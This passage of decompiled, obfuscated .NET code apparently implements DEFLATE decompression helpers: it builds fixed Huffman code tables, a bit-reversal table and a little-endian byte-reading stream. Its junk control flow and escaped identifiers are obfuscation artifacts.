label_17:
return false;
label_22:
return false;
label_27:
return true;
}
public \u0003.\u0003.\u0004 \u0002()
{
byte[] destinationArray = new byte[(int) checked ((uint) this.\u0002)];
Array.Copy((Array) this.\u0002, 0, (Array) destinationArray, 0, this.\u0002);
return new \u0003.\u0003.\u0004(destinationArray);
}
public \u0003.\u0003.\u0004 \u0003()
{
int num = this.\u0003;
int length;
while (true)
{
length = (int) checked ((uint) num);
if (false)
num = length;
else
break;
}
byte[] destinationArray = new byte[length];
if (true)
Array.Copy((Array) this.\u0002, this.\u0002, (Array) destinationArray, 0, this.\u0003);
return new \u0003.\u0003.\u0004(destinationArray);
}
static \u0005()
{
int length = 3;
if (length != 0)
{
int[] numArray = new int[length];
// ISSUE: field reference
RuntimeHelpers.InitializeArray((Array) numArray, __fieldref (\u0004.\u0001));
\u0003.\u0003.\u0005.\u0001 = numArray;
}
else
goto label_4;
label_2:
do
{
\u0003.\u0003.\u0005.\u0002 = new int[3]
{
2,
3,
7
};
}
while (false);
length = 19;
label_4:
int[] numArray1 = new int[length];
// ISSUE: field reference
RuntimeHelpers.InitializeArray((Array) numArray1, __fieldref (\u0004.\u0001));
\u0003.\u0003.\u0005.\u0003 = numArray1;
if (false)
goto label_2;
}
}
internal sealed class \u0006
{
private static readonly int[] \u0001;
private static readonly byte[] \u0001;
private static readonly short[] \u0001;
private static readonly byte[] \u0002;
private static readonly short[] \u0002;
private static readonly byte[] \u0003;
public static short \u0002([In] int obj0) => (short) ((int) \u0003.\u0003.\u0006.\u0001[obj0 & 15] << 12 | (int) \u0003.\u0003.\u0006.\u0001[obj0 >> 4 & 15] << 8 | (int) \u0003.\u0003.\u0006.\u0001[obj0 >> 8 & 15] << 4 | (int) \u0003.\u0003.\u0006.\u0001[obj0 >> 12]);
static \u0006()
{
label_0:
\u0003.\u0003.\u0006.\u0001 = new int[19]
{
16,
17,
18,
0,
8,
7,
9,
6,
10,
5,
11,
4,
12,
3,
13,
2,
14,
1,
15
};
int length1;
if (true)
{
\u0003.\u0003.\u0006.\u0001 = new byte[16]
{
(byte) 0,
(byte) 8,
(byte) 4,
(byte) 12,
(byte) 2,
(byte) 10,
(byte) 6,
(byte) 14,
(byte) 1,
(byte) 9,
(byte) 5,
(byte) 13,
(byte) 3,
(byte) 11,
(byte) 7,
(byte) 15
};
\u0003.\u0003.\u0006.\u0001 = new short[286];
\u0003.\u0003.\u0006.\u0002 = new byte[286];
if (true)
{
length1 = 0;
goto label_23;
}
}
else
goto label_15;
label_7:
int index;
int num1;
while (true)
{
num1 = index;
if (true)
{
if (num1 < 256)
{
\u0003.\u0003.\u0006.\u0001[index] = \u0003.\u0003.\u0006.\u0002(256 + index << 7);
\u0003.\u0003.\u0006.\u0002[index++] = (byte) 9;
}
else
break;
}
else
goto label_12;
}
label_11:
num1 = index;
label_12:
if (num1 < 280)
{
\u0003.\u0003.\u0006.\u0001[index] = \u0003.\u0003.\u0006.\u0002(index - 256 << 9);
if (true)
{
\u0003.\u0003.\u0006.\u0002[index++] = (byte) 7;
goto label_11;
}
else
goto label_0;
}
label_15:
for (; index < 286; \u0003.\u0003.\u0006.\u0002[index++] = (byte) 8)
\u0003.\u0003.\u0006.\u0001[index] = \u0003.\u0003.\u0006.\u0002(index - 88 << 8);
int length2 = 30;
label_17:
if (length2 != 0)
{
\u0003.\u0003.\u0006.\u0002 = new short[length2];
length1 = 30;
if (length1 != 0)
{
\u0003.\u0003.\u0006.\u0003 = new byte[length1];
index = 0;
}
else
goto label_23;
}
else
goto label_22;
label_21:
length2 = index;
label_22:
if (length2 >= 30)
return;
\u0003.\u0003.\u0006.\u0002[index] = \u0003.\u0003.\u0006.\u0002(index << 11);
\u0003.\u0003.\u0006.\u0003[index] = (byte) 5;
++index;
goto label_21;
label_23:
index = length1;
int num2;
int num3;
while (true)
{
num2 = index;
num3 = 144;
if (num3 != 0)
{
if (num2 < num3)
{
\u0003.\u0003.\u0006.\u0001[index] = \u0003.\u0003.\u0006.\u0002(48 + index << 8);
\u0003.\u0003.\u0006.\u0002[index++] = (byte) 8;
}
else
goto label_7;
}
else
break;
}
length2 = num3;
length2 = num2;
goto label_17;
}
}
internal sealed class \u0007 : MemoryStream
{
public int \u0002() => this.ReadByte() | this.ReadByte() << 8;
public int \u0003() => this.\u0002() | this.\u0002() << 16;
public \u0007([In] byte[] obj0)
: base(obj0, false)
{
}
}
}
}